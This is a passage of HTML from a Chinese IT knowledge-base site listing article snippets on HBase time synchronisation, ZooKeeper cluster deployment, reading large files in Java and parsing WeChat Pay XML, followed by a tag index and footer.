<a class="tag" taget="_blank" href="/search/ntp/1.htm">ntp</a>
                                    <div>今天在linux下做hbase集群的时候,发现hmaster启动成功了,但是用hbase命令进入shell的时候报了一个错误&nbsp; PleaseHoldException: Master is initializing,查看了日志,大致意思是说master和slave时间不同步,没办法,只好找一种手动同步一下,后来发现一共部署了10来台机器,手动同步偏差又比较大,所以还是从网上找现成的解决方</div>
                                </li>
                                <li><a href="/article/3537.htm"
                                       title="ZooKeeper3.4.6的集群部署" target="_blank">ZooKeeper3.4.6的集群部署</a>
                                    <span class="text-muted">roadrunners</span>
<a class="tag" taget="_blank" href="/search/zookeeper/1.htm">zookeeper</a><a class="tag" taget="_blank" href="/search/%E9%9B%86%E7%BE%A4/1.htm">集群</a><a class="tag" taget="_blank" href="/search/%E9%83%A8%E7%BD%B2/1.htm">部署</a>
                                    <div>ZooKeeper是Apache的一个开源项目,在分布式服务中应用比较广泛。它主要用来解决分布式应用中经常遇到的一些数据管理问题,如:统一命名服务、状态同步、集群管理、配置文件管理、同步锁、队列等。这里主要讲集群中ZooKeeper的部署。 
&nbsp; 
1、准备工作 
我们准备3台机器做ZooKeeper集群,分别在3台机器上创建ZooKeeper需要的目录。 
&nbsp; 
数据存储目录</div>
                                </li>
                                <li><a href="/article/3664.htm"
                                       title="Java高效读取大文件" target="_blank">Java高效读取大文件</a>
                                    <span class="text-muted">tomcat_oracle</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>  读取文件行的标准方式是在内存中读取,Guava 和Apache Commons IO都提供了如下所示快速读取文件行的方法:     Files.readLines(new File(path), Charsets.UTF_8);     FileUtils.readLines(new File(path));     这种方法带来的问题是文件的所有行都被存放在内存中,当文件足够大时很快就会导致</div>
                                </li>
                                <li><a href="/article/3791.htm"
                                       title="微信支付api返回的xml转换为Map的方法" target="_blank">微信支付api返回的xml转换为Map的方法</a>
                                    <span class="text-muted">xu3508620</span>
<a class="tag" taget="_blank" href="/search/xml/1.htm">xml</a><a class="tag" taget="_blank" href="/search/map/1.htm">map</a><a class="tag" taget="_blank" href="/search/%E5%BE%AE%E4%BF%A1api/1.htm">微信api</a>
                                    <div>举例如下: 
&lt;xml&gt; 
&nbsp;&nbsp; &lt;return_code&gt;&lt;![CDATA[SUCCESS]]&gt;&lt;/return_code&gt; 
&nbsp;&nbsp; &lt;return_msg&gt;&lt;![CDATA[OK]]&gt;&lt;/return_msg&gt; 
&nbsp;&nbsp; &lt;appid&gt;&lt</div>
                                </li>
                </ul>
            </div>
        </div>
    </div>

<div>
    <div class="container">
        <div class="indexes">
            <strong>按字母分类:</strong>
            <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a
                href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a
                href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a
                href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a
                href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a
                href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a
                href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a
                href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a
                href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a>
        </div>
    </div>
</div>
<footer id="footer" class="mb30 mt30">
    <div class="container">
        <div class="footBglm">
            <a target="_blank" href="/">首页</a> -
            <a target="_blank" href="/custom/about.htm">关于我们</a> -
            <a target="_blank" href="/search/Java/1.htm">站内搜索</a> -
            <a target="_blank" href="/sitemap.txt">Sitemap</a> -
            <a target="_blank" href="/custom/delete.htm">侵权投诉</a>
        </div>
        <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.
<!--            <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>-->
        </div>
    </div>
</footer>
<!-- 代码高亮 -->
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script>
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>
<script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script>





</body>

</html>